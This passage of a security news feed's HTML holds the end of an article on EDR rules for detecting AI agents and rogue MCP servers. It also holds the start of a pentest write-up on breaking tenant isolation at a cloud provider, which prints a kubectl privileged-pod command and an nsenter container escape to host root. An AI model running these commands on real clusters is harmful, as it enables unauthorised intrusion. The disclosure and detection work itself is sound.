scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.</p> <div class="klp"> <div class="klp__head"> <a href="https://tip.kaspersky.com/landscape/hunts/edr/306c1372-6669-6bc4-f5a8-c7568c4f455e?icid=gl_sl_tip-rule-lnk_sm-team_2c029a4689d5eccb" rel="noopener noreferrer" target="_blank">suspicious_mcp_server_artifact</a> <button class="klp__head_btn"><span class="btn_text btn_text_open">Tap to preview</span><span class="btn_text btn_text_close">Tap to hide</span></button> </div> <div class="klp__content"> <div class="klp__image"> <a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212146/how-to-secure-ai-agentsEN13.png"> <img alt="" decoding="async" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212146/how-to-secure-ai-agentsEN13.png" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </a> </div> </div> </div> <p>The <a href="https://tip.kaspersky.com/landscape/hunts/edr/aed5112c-6127-4b44-4839-bc98f8e883a4?icid=gl_sl_tip-rule-lnk_sm-team_e981f839ec3200ad" rel="noopener" target="_blank">llm_api_access_by_unusual_apps</a> rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.</p> <div class="klp"> <div class="klp__head"> <a href="https://tip.kaspersky.com/landscape/hunts/edr/aed5112c-6127-4b44-4839-bc98f8e883a4?icid=gl_sl_tip-rule-lnk_sm-team_e981f839ec3200ad" rel="noopener noreferrer" target="_blank">llm_api_access_by_unusual_apps</a> <button class="klp__head_btn"><span class="btn_text btn_text_open">Tap to preview</span><span class="btn_text btn_text_close">Tap to hide</span></button> </div> <div class="klp__content"> <div class="klp__image"> <a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212214/how-to-secure-ai-agentsEN14.png"> <img alt="" decoding="async" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212214/how-to-secure-ai-agentsEN14.png" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </a> </div> </div> </div> <p>Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the <code>ai_agent_**_execution</code> rules flag launches of known agents on Windows, Linux, and macOS. The <a href="https://tip.kaspersky.com/landscape/hunts/edr/c6e7246e-faed-d614-5359-7a98644e220f?icid=gl_sl_tip-rule-lnk_sm-team_edc70578c4927d4a" rel="noopener" target="_blank">local_ai_model_artifact</a> rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.</p> <div class="klp"> <div class="klp__head"> <a href="https://tip.kaspersky.com/landscape/hunts/edr/c6e7246e-faed-d614-5359-7a98644e220f?icid=gl_sl_tip-rule-lnk_sm-team_edc70578c4927d4a" rel="noopener noreferrer" target="_blank">local_ai_model_artifact</a> <button class="klp__head_btn"><span class="btn_text btn_text_open">Tap to preview</span><span class="btn_text btn_text_close">Tap to hide</span></button> </div> <div class="klp__content"> <div class="klp__image"> <a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212318/how-to-secure-ai-agentsEN15-1.png"> <img alt="" decoding="async" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212318/how-to-secure-ai-agentsEN15-1.png" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </a> </div> </div> </div> <h2 id="kaspersky-threat-intelligence-portal">Kaspersky Threat Intelligence Portal</h2> <h3 id="ai-agent-profiles">AI agent profiles</h3> <p>The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the <code>ai_</code> prefix:</p> <div class="wp-caption aligncenter" id="attachment_121461-2" style="width: 1439px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16.png"><img alt="AI agent profiles on Kaspersky TIP" aria-describedby="caption-attachment-121461-2" class="size-full wp-image-121461" decoding="async" height="641" sizes="auto, (max-width: 1429px) 100vw, 1429px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16.png 1429w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-300x135.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-1024x459.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-768x344.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-780x350.png 780w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-740x332.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-624x280.png 624w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212346/how-to-secure-ai-agentsEN16-800x359.png 800w" width="1429" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121461-2">AI agent profiles on Kaspersky TIP</p></div> <p>The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&amp;CK framework, with descriptions of the procedures the tool can be used for.</p> <div class="wp-caption aligncenter" id="attachment_121462-2" style="width: 1441px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17.png"><img alt="Claude profile on Kaspersky TIP" aria-describedby="caption-attachment-121462-2" class="size-full wp-image-121462" decoding="async" height="738" sizes="auto, (max-width: 1431px) 100vw, 1431px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17.png 1431w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-300x155.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-1024x528.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-768x396.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-679x350.png 679w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-740x382.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-543x280.png 543w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212418/how-to-secure-ai-agentsEN17-800x413.png 800w" width="1431" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121462-2">Claude profile on Kaspersky TIP</p></div> <p>The description also lists ways to detect the software through standard system auditing mechanisms:</p> <ul> <li>Windows: events from standard audit logs and Sysmon events</li> <li>Linux: syscall audit events and Sysmon events</li> <li>Network auditing: a set of protocols and the traffic generated by the software</li> </ul> <p>The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.</p> <div class="wp-caption aligncenter" id="attachment_121463-2" style="width: 1103px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18.png"><img alt="Detection section in the Claude profile" aria-describedby="caption-attachment-121463-2" class="size-full wp-image-121463" decoding="async" height="1070" sizes="auto, (max-width: 1093px) 100vw, 1093px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18.png 1093w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-300x294.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-1024x1002.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-768x752.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-358x350.png 358w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-740x724.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-286x280.png 286w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-800x783.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-50x50.png 50w" width="1093" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121463-2">Detection section in the Claude profile</p></div> <h3 id="hunt-hub">Hunt Hub</h3> <p>In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.</p> <p>This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&amp;CK tactics and techniques, as well as to the associated cybercriminal groups.</p> <p>In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.</p> <div class="wp-caption aligncenter" id="attachment_121464-2" style="width: 1694px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19.png"><img alt="Rules in the Hunt Hub repository" aria-describedby="caption-attachment-121464-2" class="size-full wp-image-121464" decoding="async" height="822" sizes="auto, (max-width: 1684px) 100vw, 1684px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19.png 1684w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-300x146.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-1024x500.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-768x375.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-1536x750.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-717x350.png 717w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-740x361.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-574x280.png 574w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-800x390.png 800w" width="1684" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121464-2">Rules in the Hunt Hub repository</p></div> <p>The rule card provides:</p> <ul> <li>Detailed description</li> <li>Rule’s severity level, confidence level, and alert format</li> <li>Detection tips</li> <li>Description of possible false positives</li> <li>Platforms the rule can run on</li> <li>Tactics, techniques, and sub-techniques covered by the rule</li> <li>Groups that use the technique covered by the rule</li> <li>Detection logic that shows what exactly triggers the rule</li> </ul> </div></div></div></div></div></div> https://securelist.com/tr/how-to-secure-ai-agents/121444/ cyber Mon, 26 Oct 2026 10:00:18 +0000 An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure https://securelist.com/cloud-infrastructure-isolation-bypass/121609/ <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/matveybukhtoyarov/"> <span>Matvey Bukhtoyarov</span></a> </li> <li> <a href="https://securelist.com/author/securityservices/"> <span>Kaspersky Security Services</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <p>This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.</p> <h2 id="introduction">Introduction</h2> <p>Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.</p> <p>This analysis is based on a real-world case that won second place in the System Hacking (Web &amp; Logic) category at <a href="https://award.awillix.ru/#winners" rel="noopener" target="_blank">Russian Pentest Award 2026</a>. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).</p> <h2 id="1-gaining-initial-access-through-a-managed-kubernetes-cluster">1. Gaining initial access through a managed Kubernetes cluster</h2> <p>Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.</p> <h3 id="1-1-escaping-the-worker-node">1.1. Escaping the worker node</h3> <p>First, we created a resource in the cloud’s managed Kubernetes cluster (<code>v1.25.16+k0s.0</code>). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae59e047695410" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> kubectl run pod-name-bla \ --image=alpine \ --restart=Never \ --overrides=' { "apiVersion": "v1", "spec": { "hostPID": true, "containers": [ { "name": "priv", "image": "alpine", "command": [ "sh", "-c", "sleep 3600" ], "stdin": true, "tty": true, "securityContext": { "privileged": true } } ] } }'</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-6">6</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-7">7</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-8">8</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-9">9</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-10">10</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-11">11</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-12">12</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-13">13</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-14">14</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-15">15</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-16">16</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-17">17</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-18">18</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-19">19</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-20">20</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-21">21</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-22">22</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-1"><span class="crayon-e">kubectl </span><span class="crayon-e">run </span><span class="crayon-v">pod</span><span class="crayon-o">-</span><span class="crayon-v">name</span><span class="crayon-o">-</span><span class="crayon-i">bla</span><span class="crayon-h"> </span><span class="crayon-sy">\</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-2"><span class="crayon-h">   </span><span class="crayon-o">--</span><span class="crayon-v">image</span><span class="crayon-o">=</span><span class="crayon-i">alpine</span><span class="crayon-h"> </span><span class="crayon-sy">\</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-3"><span class="crayon-h">   </span><span class="crayon-o">--</span><span class="crayon-v">restart</span><span class="crayon-o">=</span><span class="crayon-i">Never</span><span class="crayon-h"> </span><span class="crayon-sy">\</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-4"><span class="crayon-h">   </span><span class="crayon-o">--</span><span class="crayon-v">overrides</span><span class="crayon-o">=</span><span class="crayon-s">'</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-5"><span class="crayon-s"> {</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-6"><span class="crayon-s">   "apiVersion": "v1",</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-7"><span class="crayon-s">   "spec": {</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-8"><span class="crayon-s">     "hostPID": true,</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-9"><span class="crayon-s">     "containers": [</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-10"><span class="crayon-s">       {</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-11"><span class="crayon-s">         "name": "priv",</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-12"><span class="crayon-s">         "image": "alpine",</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-13"><span class="crayon-s">         "command": [ "sh", "-c", "sleep 3600" ],</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-14"><span class="crayon-s">         "stdin": true,</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-15"><span class="crayon-s">         "tty": true,</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-16"><span class="crayon-s">         "securityContext": {</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-17"><span class="crayon-s">           "privileged": true</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-18"><span class="crayon-s">         }</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-19"><span class="crayon-s">       }</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-20"><span class="crayon-s">     ]</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-21"><span class="crayon-s">   }</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-22"><span class="crayon-s"> }'</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0002 seconds] --> <p>After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae5a9429078871" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> nsenter --target 1 --mount --uts --ipc --net --pid – bash</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5a9429078871-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5a9429078871-1"><span class="crayon-v">nsenter</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-i">target</span><span class="crayon-h"> </span><span class="crayon-cn">1</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-v">mount</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-v">uts</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-v">ipc</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-v">net</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-i">pid</span><span class="crayon-h"> </span>–<span class="crayon-h"> </span><span class="crayon-v">bash</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.</p> <div class="wp-caption aligncenter" id="attachment_121632-2" style="width: 1458px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1.png"><img alt="Kubelet configuration and API server address" aria-describedby="caption-attachment-121632-2" class="size-full wp-image-121632" decoding="async" height="1086" sizes="auto, (max-width: 1448px) 100vw, 1448px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1.png 1448w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-300x225.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-1024x768.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-768x576.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-200x150.png 200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-467x350.png 467w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-740x555.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-373x280.png 373w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-800x600.png 800w" title="isolation-bypass1" width="1448" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121632-2">Kubelet configuration and API server address</p></div> <p>Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.</p> <div class="wp-caption aligncenter" id="attachment_121633-2" style="width: 2058px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2.png"><img alt="Konnectivity service account token" aria-describedby="caption-attachment-121633-2" class="size-full wp-image-121633" decoding="async" height="768" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-300x113.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-1024x384.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-768x288.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-1536x576.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-933x350.png 933w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-740x278.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-747x280.png 747w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-800x300.png 800w" 